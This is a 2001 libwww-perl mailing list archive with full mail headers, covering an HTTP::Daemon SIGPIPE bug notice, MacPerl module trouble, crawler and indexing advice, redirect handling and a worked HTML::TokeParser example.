Assigned to : nobody
Summary: HTTP::Daemon closed socket problem

Details: Maybe it is not a bug, but something which should be
addressed, IMHO.

When an HTTP client sends a request and closes the
connection before the daemon can react, it will eventually
write to a closed socket.

According to some UNICes this will cause a SIGPIPE
signal. If the process has no handler for this, it
will exit.

My best guess is to hide this inside the package
or allow the application to configure the appropriate
behavior such as an escalation.

For detailed info, follow this link:
http://sourceforge.net/bugs/?func=detailbug&bug_id=131826&group_id=14630

From jsmunroe@home.com Sun Feb 11 00:14:52 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08278 for <hyper>;
          11 Feb 2001 00:14 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa28938
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 11 Feb 2001 00:14 PST
Received: (qmail 25993 invoked by uid 508); 11 Feb 2001 08:14:40 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 2868 invoked from network); 11 Feb 2001 05:36:29 -0000
Message-ID: <3A862777.CF8A0B82@home.com>
Date: Sun, 11 Feb 2001 00:47:36 -0500
From: James Munroe <jsmunroe@home.com>
Organization: @Home Network
X-Mailer: Mozilla 4.5 C-AtHome0405(Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: libwww@perl.org
Subject: LWP::Parallel::UserAgent and MacPerl
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I am using the latest MacPerl (v. 5.20r4) and have installed the the
LWP::Parallel::UserAgent module with its associated modules. (I have
installed lib-www v. 2.48 and Parallel::UserAgent v. 5.48, which are
supposed to be mutually compatible.) I have changed the filetypes
apporpriately to MacPerl text files, since this was giving me initial difficulty.

The problem is, even when I have a script with only the line

use LWP::Parallel::UserAgent;

the MacPerl syntax checker says

"LWP/Parallel/UserAgent did not return a true value"

I have not had this problem with the single-thread LWP::UserAgent. I
have written scripts with it that work just fine. When I run the syntax
checker on LWP::Parallel::UserAgent itself, it checks out just fine.

What can be wrong?

From schinder@pobox.com Sun Feb 11 06:16:11 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa20794 for <hyper>;
          11 Feb 2001 06:16 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa09517
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 11 Feb 2001 06:16 PST
Received: (qmail 4261 invoked by uid 508); 11 Feb 2001 14:16:01 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 4252 invoked from network); 11 Feb 2001 14:16:00 -0000
Received: from c22234-e.scllg1.pa.home.com (qmailr@24.7.220.49)
  by tmtowtdi.perl.org with SMTP; 11 Feb 2001 14:16:00 -0000
Received: (qmail 10745 invoked from network); 11 Feb 2001 14:15:57 -0000
Received: from c22234-d.scllg1.pa.home.com (HELO ?10.0.1.51?) (24.7.220.47)
  by c22234-e.scllg1.pa.home.com with SMTP; 11 Feb 2001 14:15:57 -0000
Mime-Version: 1.0
X-Sender: schinder@24.7.220.49 (Unverified)
Message-Id: <p05010400b6ac4c80dbea@[10.0.1.51]>
In-Reply-To: <3A862777.CF8A0B82@home.com>
References: <3A862777.CF8A0B82@home.com>
Date: Sun, 11 Feb 2001 09:15:47 -0500
To: James Munroe <jsmunroe@home.com>, libwww@perl.org
From: Paul Schinder <schinder@pobox.com>
Subject: Re: LWP::Parallel::UserAgent and MacPerl
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:47 AM -0500 2/11/01, James Munroe wrote:
>I am using the latest MacPerl (v. 5.20r4) and have installed the the
>LWP::Parallel::UserAgent module with its associated modules. (I have
>installed lib-www v. 2.48 and Parallel::UserAgent v. 5.48, which are
>supposed to be mutually compatible.) I have changed the filetypes
>apporpriately to MacPerl text files, since this was giving me 
>initial difficulty.
>
>The problem is, even when I have a script with only the line
>
>use LWP::Parallel::UserAgent;
>
>the MacPerl syntax checker says
>
>"LWP/Parallel/UserAgent did not return a true value"
>
>I have not had this problem with the single-thread LWP::UserAgent. I
>have written scripts with it that work just fine. When I run the syntax
>checker on LWP::Parallel::UserAgent itself, it checks out just fine.
>
>What can be wrong?

The usual cause of this particular error is that you did not convert 
all the files to Mac end-of-line.  They're probably still Unix 
end-of-line.  There are many tools available to fix this.  Personally 
I use either a Contextual Menu module from Trygve's collection or 
OddJobs.  Both may easily be found by searching at 
<http://www.versiontracker.com>

If you used Stuffit Expander to unpack the .tar.gz and Mac OS 9, you 
need to open the File Exchange control panel and make sure that .pm 
is assigned to MacPerl with type TEXT.  (By default it's some image 
format.)

But in this particular case, you'd be wasting your time. 
LWP::Parallel won't work under MacPerl, for reasons I've long ago 
forgotten.  If you absolutely need to use LWP::Parallel on your Mac, 
you'll need to use a different operating system.  Either wait two 
months for Mac OS X, or install Linux or *BSD.

LWP itself, on the other hand, works just fine.  If you don't need 
the parallelism of LWP::Parallel, simply use LWP.
-- 
--
Paul Schinder
schinder@pobox.com

From john@office.naver.co.id Sun Feb 11 18:00:15 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa17845 for <hyper>;
          11 Feb 2001 18:00 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa22103
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 11 Feb 2001 18:00 PST
Received: (qmail 29674 invoked by uid 508); 12 Feb 2001 02:00:01 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 28331 invoked from network); 12 Feb 2001 01:44:25 -0000
Date: Mon, 12 Feb 2001 08:44:38 +0700
From: John Indra <john@office.naver.co.id>
To: libwww@perl.org
Subject: Request For Advice: The Good Indexing Method
Message-ID: <20010212084438.A2875@office.naver.co.id>
Mail-Followup-To: libwww@perl.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Mailer: Mutt 1.2.5i on FreeBSD 5.0-CURRENT i386

Hi all...

First of all, please forgive me if this is the wrong group to talk about
this subject. But, this has something to do with Perl, and the web, so I
think I will take the shot.

I am trying to build my own search engine, from scratch, with Perl.
Currently I have finished building a robot, using libwww of course.

1. If I want to conform to this: "Build a friendly robot, don't run on other
web servers, just walk", I set my user agent to hit the remote web server
using delay = 1 minutes, then my robot is very slow (only one hit per
minute). What is the best and efficient way to make my robot still confomrs
to standard but having a better performance (can do parallel request per
minute)?

2. After my robot finishes crawling the web, I need to build an index.
Currently what I have in mind is to use B-Tree algorithm. So, after the
robot finishes it jobs, then my indexer will start chopping stopwords from
the document, do some word stemming maybe. Well that's what I currently have
in mind. Now I am rather confused of what structure is best to store the
index information. I am using standard Perl module DB_File. Advices are very
welcome.

I have a weak knowledge in Data Structure and Computer Science, so if you
can, please give me some guide of URLs to read if I have to be faced with
complex data structure manipulation.

Thanks...

/john


From joogeok@t-asia.net Mon Feb 12 00:38:08 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa05308 for <hyper>;
          12 Feb 2001 00:38 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa10369
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Feb 2001 00:37 PST
Received: (qmail 20409 invoked by uid 508); 12 Feb 2001 08:37:53 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 20400 invoked from network); 12 Feb 2001 08:37:52 -0000
Received: from unknown (HELO raq.t-asia.net) (202.79.91.242)
  by tmtowtdi.perl.org with SMTP; 12 Feb 2001 08:37:52 -0000
Received: from krdl ([198.0.0.67])
	by raq.t-asia.net (8.9.3/8.9.3) with SMTP id QAA23939
	for <libwww@perl.org>; Mon, 12 Feb 2001 16:33:00 +0800
From: Tan Joo Geok <joogeok@t-asia.net>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: HTTPS for LWPng
Date: Mon, 12 Feb 2001 16:42:26 +0800
Message-ID: <NEBBKGGHALONAGCFABPAKEEKCAAA.joogeok@t-asia.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal


It has been a while since my last post and I am re-looking at this again.
Has anybody successfully got HTTPS working for LWPng? 

Thank you for your attention.

From joel@qlcomm.com Mon Feb 12 03:03:54 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa12305 for <hyper>;
          12 Feb 2001 03:03 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa21807
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Feb 2001 03:03 PST
Received: (qmail 12741 invoked by uid 508); 12 Feb 2001 11:03:36 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 12724 invoked from network); 12 Feb 2001 11:03:30 -0000
Received: from unknown (HELO hapdc.powersurfer.net) (202.68.128.69)
  by tmtowtdi.perl.org with SMTP; 12 Feb 2001 11:03:30 -0000
Received: from qlcomm.com ([203.197.58.150]) by
          hapdc.powersurfer.net (Netscape Messaging Server 4.1) with SMTP
          id G8N6HF00.VU5 for <libwww@perl.org>; Mon, 12 Feb 2001 16:27:15 +0500 
Message-Id: <4.2.2.20010212160917.00acd590@10.1.1.151>
X-Sender: joel@10.1.1.151
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Date: Mon, 12 Feb 2001 16:27:51 +0530
To: libwww@perl.org
From: Joel Divekar <joel@qlcomm.com>
Subject: Need help
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Mailserver: Sent using PostMaster (v4.00b9)

Hi

Pardon me if I am asking this at wrong place. Can anybody guide me from 
where I will get detail information about how to write a web server.

Regards

Joel


--------------------------------------------------------------
QuantumLink Communications, Bombay, India



From Mike.Housman@mortgage.wellsfargo.com Mon Feb 12 15:02:02 2001
Received: from poindexter.ics.uci.edu
           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08125 for <hyper>;
          12 Feb 2001 15:02 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa12556
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Feb 2001 15:01 PST
Received: (qmail 8057 invoked by uid 508); 12 Feb 2001 23:01:43 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 25215 invoked from network); 12 Feb 2001 22:13:58 -0000
From: Mike.Housman@mortgage.wellsfargo.com
Message-ID: <ACC3ACA8E8CFD4118FA70008C7F468789DC543@m303.nmb.norwest.com>
To: libwww@perl.org
Subject: Problem using UserAgent.
Date: Mon, 12 Feb 2001 15:19:28 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain

Hello,

I have a perl program that is posting data to various websites using the
UserAgent, Request, and Response modules.  

It is working well for all but two of the sites.  Both of these sites are
doing REDIRECTS (HTTP STATUS 302) after the data has been successfully
posted, but the UserAgent doesn't seem to be following the redirect?

Is there a setting I need to change?  Both of these sites are using HTTP
1.1.  I haven't checked any of the sites that DO work to see what HTTP
version they use.

Help!

Thanks,

Mike Housman


From gnielson@charlotte.infi.net Mon Feb 12 21:00:23 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09557 for <hyper>;
          12 Feb 2001 21:00 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa26816
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Feb 2001 21:00 PST
Received: (qmail 28084 invoked by uid 508); 13 Feb 2001 05:00:08 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 28075 invoked from network); 13 Feb 2001 05:00:08 -0000
Received: from maynard.mail.mindspring.net (207.69.200.243)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 05:00:08 -0000
Received: from 1Cust185.tnt2.gastonia.nc.da.uu.net (1Cust185.tnt2.gastonia.nc.da.uu.net [63.16.100.185])
	by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id AAA06605
	for <libwww@perl.org>; Tue, 13 Feb 2001 00:00:05 -0500 (EST)
Date: Mon, 12 Feb 2001 23:54:32 -0500 (EST)
From: Gary Nielson <gnielson@charlotte.infi.net>
X-Sender: gnielson@nielson.dynip.com
To: libwww@perl.org
Subject: Trouble understanding how HTML::TokeParser works
Message-ID: <Pine.LNX.4.21.0102122353500.1038-100000@nielson.dynip.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I can get by programming in Perl, but my head hurts trying to
understand how object-oriented modules such as TokeParser work.
Basically, I want to parse an html file where each entry looks like
this:

<DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
<A HREF="/rc/news/docs/07073706.htm">Junk DNA may not be such junk,
genome studies find</A>
</B></FONT></DT>
<DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>WASHINGTON -
&#0151; The first in-depth look into the
human genome shows it is much more complicated.. <P>
</FONT></DD>

I want to print a file that has the url, the headline and the summary
paragaph, separated by the pipe delimiter, as in:

/rc/news/docs/07073706.htm||Junk DNA may not be such junk, genome
studies find||The first in-depth look into the
human genome shows it is much more complicated.

I have hobbled together a script in two-steps, following the man page
examples for TokeParser and some online Web page examples. But as you
shall see, there are problems:

use CGI;
use LWP::Simple;
use HTML::TokeParser;
$webPage = "digestChunk.htm";
&head;
&font;

sub head{
$p = HTML::TokeParser->new(shift||"digestChunk.htm");
while (my $token = $p->get_tag("a")) {
        my $url = $token->[1]{href} || "-";
        my $text = $p->get_trimmed_text("/a");
        print "$url\t$text\n";
	}
}
sub font{
       #parse and output summaries
       $parser=HTML::TokeParser->new("digestChunk.htm");
       while ($parser->get_tag("font"))
        { print $parser->get_text."\n\n" ; }
        }

The big problem is I do not know how to parse the entire document.
Each subroutine will find text within specific tags. But what if, as
in this case, the tags are in separate parts of the document. How do I
"splice" them together? My output is like so:

/rc/news/docs/07076556.htm	Bush Urged to Roll Back Patients' Privacy
Rules
/rc/news/docs/07076395.htm	Four Dead After Texas Standoff

WASHINGTON -  The first in-depth look into the
human genome shows it is much more complicated than the clear
blueprint of how to make a human that scientists had hoped for.. 

I tried sucking in the entire document, which begins with a <DL> and
at the end of the document has a </DL>. But that did not work? Also I
tried parsing by <DD> as a tag to use but that did not work either.
This I don't understand. Why wouldn't TokeParser give me everything
between the <DD>...</DD> tags? I wound up using the "font" tag but I
don't understand why that is working the way it is either. It's
working as I would like, pulling in the summary paragraph, but "font"
is also used before the url and text line. Does it not show up there
because it is all on one line with no text to parse on that same line?

If I sound confused, I am :) I am taking this opportunity with
tokeparser to try using modules more than writing procedural code,
which I have gotten semi-good at (graduated to the 2nd grade!). But
this is slow to sink in. Any help explaining how this works and how I
can get this script to do what I want would be much appreciated.

Gary









From sburke@spinn.net Mon Feb 12 22:52:47 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa16294 for <hyper>;
          12 Feb 2001 22:52 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa29707
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Feb 2001 22:52 PST
Received: (qmail 18910 invoked by uid 508); 13 Feb 2001 06:52:38 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 18901 invoked from network); 13 Feb 2001 06:52:37 -0000
Received: from spinnone.spinn.net (HELO newone.spinn.net) (root@216.223.224.6)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 06:52:37 -0000
Received: from 2ch0201 (dialip83.spinn.net [216.223.225.83])
	by newone.spinn.net (8.9.3/8.9.3) with SMTP id XAA07007;
	Mon, 12 Feb 2001 23:52:00 -0700
Message-Id: <3.0.6.32.20010212235215.008848e0@mail.spinn.net>
X-Sender: sburke@mail.spinn.net
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Mon, 12 Feb 2001 23:52:15 -0700
To: Gary Nielson <gnielson@charlotte.infi.net>, libwww@perl.org
From: "Sean M. Burke" <sburke@spinn.net>
Subject: Re: Trouble understanding how HTML::TokeParser works
In-Reply-To: <Pine.LNX.4.21.0102122353500.1038-100000@nielson.dynip.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 11:54 PM 2001-02-12 -0500, Gary Nielson wrote:
>I can get by programming in Perl, but my head hurts trying to
>understand how object-oriented modules such as TokeParser work.
>[...] I am taking this opportunity with
>tokeparser to try using modules more than writing procedural code,
>which I have gotten semi-good at (graduated to the 2nd grade!). [...]

I can't offer any advice about TokeParser specifically -- I've never used
it, and instead use the HTML::TreeBuilder way of doing things instead,
since I'm more familiar with the latter's interface, as I wrote most of it.
But I can refer you to an article I wrote for /The Perl Journal/, called "A
User's View of Object-Oriented Modules", which you might find helpful.
There's a copy of it at:
  http://www.speech.cs.cmu.edu/~sburke/pub/tpj17.html

Hm, maybe I'll toss that and a few other pertinent past TPJ articles of
mine into the next HTML-Tree dist.


--
Sean M. Burke  sburke@cpan.org  http://www.spinn.net/~sburke/


From tallwine@oreilly.com Tue Feb 13 09:34:08 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa21245 for <hyper>;
          13 Feb 2001 09:34 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08003
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 09:33 PST
Received: (qmail 826 invoked by uid 508); 13 Feb 2001 17:33:47 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 817 invoked from network); 13 Feb 2001 17:33:46 -0000
Received: from rock.west.ora.com (HELO smtp.oreilly.com) (204.148.43.8)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 17:33:46 -0000
Received: from oreilly.com (carol.west.ora.com [172.16.1.29])
	by smtp.oreilly.com (8.11.2/8.11.2) with ESMTP id f1DHXCq13125;
	Tue, 13 Feb 2001 09:33:13 -0800 (PST)
Sender: tallwine@oreilly.com
Message-ID: <3A896FD8.FA0A7D5D@oreilly.com>
Date: Tue, 13 Feb 2001 09:33:12 -0800
From: Tim Allwine <tallwine@oreilly.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Gary Nielson <gnielson@charlotte.infi.net>
CC: libwww@perl.org
Subject: Re: Trouble understanding how HTML::TokeParser works
References: <Pine.LNX.4.21.0102122353500.1038-100000@nielson.dynip.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Gary Nielson wrote:
> 
> I can get by programming in Perl, but my head hurts trying to
> understand how object-oriented modules such as TokeParser work.
> Basically, I want to parse an html file where each entry looks like
> this:
> 
> <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
> <A HREF="/rc/news/docs/07073706.htm">Junk DNA may not be such junk,
> genome studies find</A>
> </B></FONT></DT>
> <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>WASHINGTON -
> &#0151; The first in-depth look into the
> human genome shows it is much more complicated.. <P>
> </FONT></DD>
> 

Here is one way to do it. Assume you have the following file
called 'sample.html'.

<html>
<head><title>Tutorial</title></head>
<body>

<dl>
    <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
    <A HREF="/rc/news/docs/07073706.htm">Junk DNA may not be such junk,
    genome studies find</A>
    </B></FONT></DT>
    <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>WASHINGTON -
    &#0151; The first in-depth look into the
    human genome shows it is much more complicated.. <P>
    </FONT></DD>

    <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
    <A HREF="http://search.cpan.org/doc/GAAS/HTML-Parser-3.15/lib/HTML/TokeParse
    The HTML::TokeParser is an
    alternative interface to the HTML::Parser class.
    </A>
    </B></FONT></DT>
    <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>Sebastopol -
    It basically turns the HTML::Parser inside out.
    You associate a file (or any IO::Handle object or
    string) with the parser at construction
    time and then repeatedly call $parser->get_token
    to obtain the tags and text found in the parsed
    document.
    <P>
    </FONT></DD>

    <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
    <A HREF="http://search.cpan.org/doc/GAAS/HTML-Parser-3.15/Parser.pm">
    This is the new XS based HTML::Parser</A>
    </B></FONT></DT>
    <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>Boston -
    Objects of the HTML::Parser class will recognize
    markup and separate it from plain text (alias data
    content) in HTML documents. As different kinds of
    markup and text are recognized, the corresponding
    event handlers are invoked.
    <p>
    </FONT></DD>
    <DT><FONT FACE="Arial, Helvetica, sans-serif"><B>
    <A HREF="http://search.cpan.org/doc/GAAS/libwww-perl-5.10/lib/HTML/TreeBuild
    This is a parser that builds (and actually itself is) a HTML syntax tree.
    </A>
    </B></FONT></DT>
    <DD><FONT FACE="Arial, Helvetica, sans-serif" SIZE=2>PITTSBURG -
    Objects of this class inherit the methods of both
    HTML::Parser and HTML::Element. After parsing has
    taken place it can be regarded as the syntax tree
    itself.
     <P>
    </FONT></DD>

</dl>
</body>
</html>

Run the following code.

use strict;
use HTML::TokeParser;
require 'dumpvar.pl';

my $p = HTML::TokeParser->new("sample.html");
my $rss;

while(my $token = $p->get_token) {
    next unless $token->[0] eq 'S' and
        $token->[1] eq 'dt';
    my $rec = {};
    while(my $token = $p->get_token) {
        last if $token->[0] eq 'E' and
            $token->[1] eq 'dd';
        if($token->[0] eq 'S' and
                $token->[1] eq 'a') {
            $rec->{url} = $token->[2]{href};
            $rec->{headline} = $p->get_trimmed_text('/a');
        } elsif($token->[0] eq 'S' and
                $token->[1] eq 'dd') {
            $rec->{summary} = $p->get_trimmed_text('/dd');
        }
    }
    push(@$rss,$rec);
}
#dumpValue(\$rss);

for my $rec (@$rss) {
    print join('||',$rec->{url},$rec->{headline},$rec->{summary}),"\n\n";
}

__END__
The TokeParser parses an html document and gives you an array of
tokens to look through. The way you access this array of tokens
is through the various methods in the class. The tokens
themselves are represented by references to arrays.

The above program parses the document and begins the winnowing
process. The outer while loop rejects any token that is not a 'S'
(start) tag and has a name of 'dt'. Once the first <dt> tag is
found we create a hash ref that will hold the data for each
record found. We jump out if we see the closing </dt>. If we see
the starting <a> tag, grab the url, it is the third element in
the token which is a hash ref and we want the value who's key is
'href'. Then grab all the text up to the closing </a> tag. If we
see the <dd> tag then grab all the text up to the closing </dd>
tag. When we jump out, push $rec into an array and go back for
more.

From noreply@sourceforge.net Tue Feb 13 10:16:39 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa25258 for <hyper>;
          13 Feb 2001 10:16 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa20180
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 10:16 PST
Received: (qmail 11090 invoked by uid 508); 13 Feb 2001 18:16:27 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 11081 invoked from network); 13 Feb 2001 18:16:26 -0000
Received: from usw-sf-sshgate.sourceforge.net (HELO usw-sf-netmisc.sourceforge.net) (216.136.171.253)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 18:16:26 -0000
Received: from usw-sf-web1-b.sourceforge.net
	([10.3.1.5] helo=usw-sf-web1.sourceforge.net ident=mail)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.16 #1 (Debian))
	id 14Sk01-0006HF-00; Tue, 13 Feb 2001 10:16:25 -0800
Received: from nobody by usw-sf-web1.sourceforge.net with local (Exim 3.16 #1 (Debian))
	id 14Sk02-0005aQ-00; Tue, 13 Feb 2001 10:16:26 -0800
To: dcw@gcm.com, noreply@sourceforge.net, libwww@perl.org
Subject: [Patch #103773] [Bug #127315] HTTPS through proxy via CONNECT
From: noreply@sourceforge.net
Message-Id: <E14Sk02-0005aQ-00@usw-sf-web1.sourceforge.net>
Sender: nobody <nobody@sourceforge.net>
Date: Tue, 13 Feb 2001 10:16:26 -0800

Patch #103773 has been updated. 

Project: libwww-perl
Category: None
Status: Open
Submitted by: worenklein
Assigned to : nobody
Summary: [Bug #127315] HTTPS through proxy via CONNECT

-------------------------------------------------------
For more info, visit:

http://sourceforge.net/patch/?func=detailpatch&patch_id=103773&group_id=14630

From chris@console.org Tue Feb 13 10:38:34 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa27573 for <hyper>;
          13 Feb 2001 10:38 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa26482
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 13 Feb 2001 10:38 PST
Received: (qmail 19342 invoked by uid 508); 13 Feb 2001 18:38:25 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 19333 invoked from network); 13 Feb 2001 18:38:24 -0000
Received: from ool-18be3b18.dyn.optonline.net (HELO stupid.console.org) (24.190.59.24)
  by tmtowtdi.perl.org with SMTP; 13 Feb 2001 18:38:24 -0000
Received: from localhost (chris@localhost)
	by stupid.console.org (8.11.1/stupid-antispam) with ESMTP id f1DIcNQ27225
	for <libwww@perl.org>; Tue, 13 Feb 2001 13:38:23 -0500
Date: Tue, 13 Feb 2001 13:38:23 -0500 (EST)
From: Chris Martino <chris@console.org>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: referer
Message-ID: <Pine.LNX.4.32.0102131334440.27200-100000@stupid.console.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi-

I'm writing a perl script to submit a webform, but it keeps on getting
rejected, I think because of the referer.  Is it possible to tell LWP to
submit a different referal address, thus to trick the server I'm posting
to that it actually came from them?

TIA,
C


From gnielson@charlotte.infi.net Tue Feb 13 10:58:08 2001
Received: from poindexter.ics.uci.edu
